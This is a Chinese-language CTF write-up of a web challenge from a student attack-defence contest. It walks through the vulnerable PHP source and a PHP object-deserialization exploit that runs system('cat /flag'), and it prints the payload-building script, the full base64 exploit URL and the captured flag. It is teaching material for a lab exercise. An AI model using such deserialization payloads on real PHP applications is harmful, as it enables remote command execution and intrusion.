“古剑山”第二届全国大学生网络攻防大赛WriteUp

古剑山的题目难度还是挺高的

Web

赛题描述:web签到。

点击发现提示I’ll never tell you that flag is hidden in root dir(/) :-):-):-),说明flag藏才根目录/flag,并且看到url有个?f的get传参类型,猜测题目考的是文件包含,尝试直接get包含/flag

http://ip:port/index.php?f=/flag

提示有正则过滤:The /flag has been detected by regular expression: /[ <>?!@#$%&*()+=|\-\\}{:”;’~`,\/]/,用不了特殊字符,那只能包含当前目录文件了。那试试包含index.php看看源码

可以显示,那分析一下源码

<?php

error_reporting(0);

class pop
{
    public $aaa;
    public static $bbb = false;

    public function __wakeup()
    {
        // PHP 5.4
        throw new Exception("You're banned to serialize pop!");    
    }

    public function __destruct()
    {
        for ($i=0; $i<2; $i++) {
            if (self::$bbb) {
                $this->aaa[1]($this->aaa[2]);
            } else {
                self::$bbb = call_user_func($this->aaa["object"]);
            }
        }
    }
}


if (isset($_GET["code"])) {
    unserialize(base64_decode($_GET["code"]));
} elseif (isset($_GET["f"])) {
    if(is_string($_GET["f"]) === false){
        echo "The f param must be string";
        exit();
    }
    $user_f = $_GET["f"];
    $regex = "/[ <>?!@#$%&*()+=|\\-\\\\}{:\";'~`,\\/]/";
    if(preg_match($regex, $user_f)){
        echo "The ".$user_f." has been detected by regular expression: ".$regex;
        exit();
    }
    echo file_get_contents($user_f);
}else{
    echo "<a href='/index.php?f=secret'>show me secret!</a>";
}
ShellScript

代码审计发现可以向其传入code参数的并且进行了base64和反序列化,这样的话直接分析反序列化的类就可以了,f的传参就不需要分析了,因为过滤比较严格,应该是迷惑用的

pop的类有两个魔术方法,__wakeup()和__destruct(),__wakeup()是在反序列化的时候触发,内部有个抛出异常,会终止程序进行,故需要绕过__wakeup()函数;__destruct()是在实例在被摧毁时触发,在这里的话只要正常进行下去,一定会进去的。

__wakeup()函数的绕过比较简单,只要保证对象数>大于变量数就会跳过执行,直接在O:3改为O:4就可以了

分析内部逻辑,发现有个$this->aaa[1]($this->aaa[2]);可以让用户自定义调用函数可以将其变成eval(‘cat /flag’)就可以获得flag了。结合$bbb是固定的false,猜测解题思路应该是先饶$bbb变为true,然后再执行$this->aaa[1]($this->aaa[2])。

但是$bbb的值不能直接通过传入序列化的$bbb=true是没有用的,因为后来public static $bbb = false;会重新覆盖掉传入的$bbb,并且那两层for循环就在告诉我们要先让$bbb=true后再第二次循环时执行危险函数。

$bbb的值由call_user_func()函数的返回值决定,call_user_func()函数可以接受一个函数和全局函数的字符串,如phpinfo()->’phpinfo’,这样的话call_user_func(phpinfo())是等价于call_user_func(‘phpinfo’)的,这样的话只要让$aaa[“object”]=’phpinfo’就可以了

这样下来只要让$aaa[1]=’eval’,$aaa[2]=’cat /flag’,$aaa[‘object’]=’phpinfo’就可以完成绕过了

payload.php

<?php
class pop
{
    public $aaa = [
        1 => "system",
        2 => 'cat /flag',
        "object" => 'phpinfo'
    ];
    
}

$pop=new pop;
$a=serialize($pop);
echo $a;
?>
PHP

这里为什么用system而不用eval了是因为eval无法调用,因此只要换一个目命令执行的函数就好了

O:3:"pop":1:{s:3:"aaa";a:3:{i:1;s:6:"system";i:2;s:9:"cat /flag";s:6:"object";s:7:"phpinfo";}}
PHP

这里为什么又不用理会__wakeup的绕过我也不清楚,如果将O:3改为O:4的话会无会显,不知道怎么会是,可能是和注释的// PHP 5.4有关系吧

payload:http://ip:port/index.php?code=TzozOiJwb3AiOjE6e3M6MzoiYWFhIjthOjM6e2k6MTtzOjY6InN5c3RlbSI7aToyO3M6OToiY2F0IC9mbGFnIjtzOjY6Im9iamVjdCI7czo3OiJwaHBpbmZvIjt9fQ==

flag{04ef2a5d-82e2-400b-81cd-d5adc4097df7}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇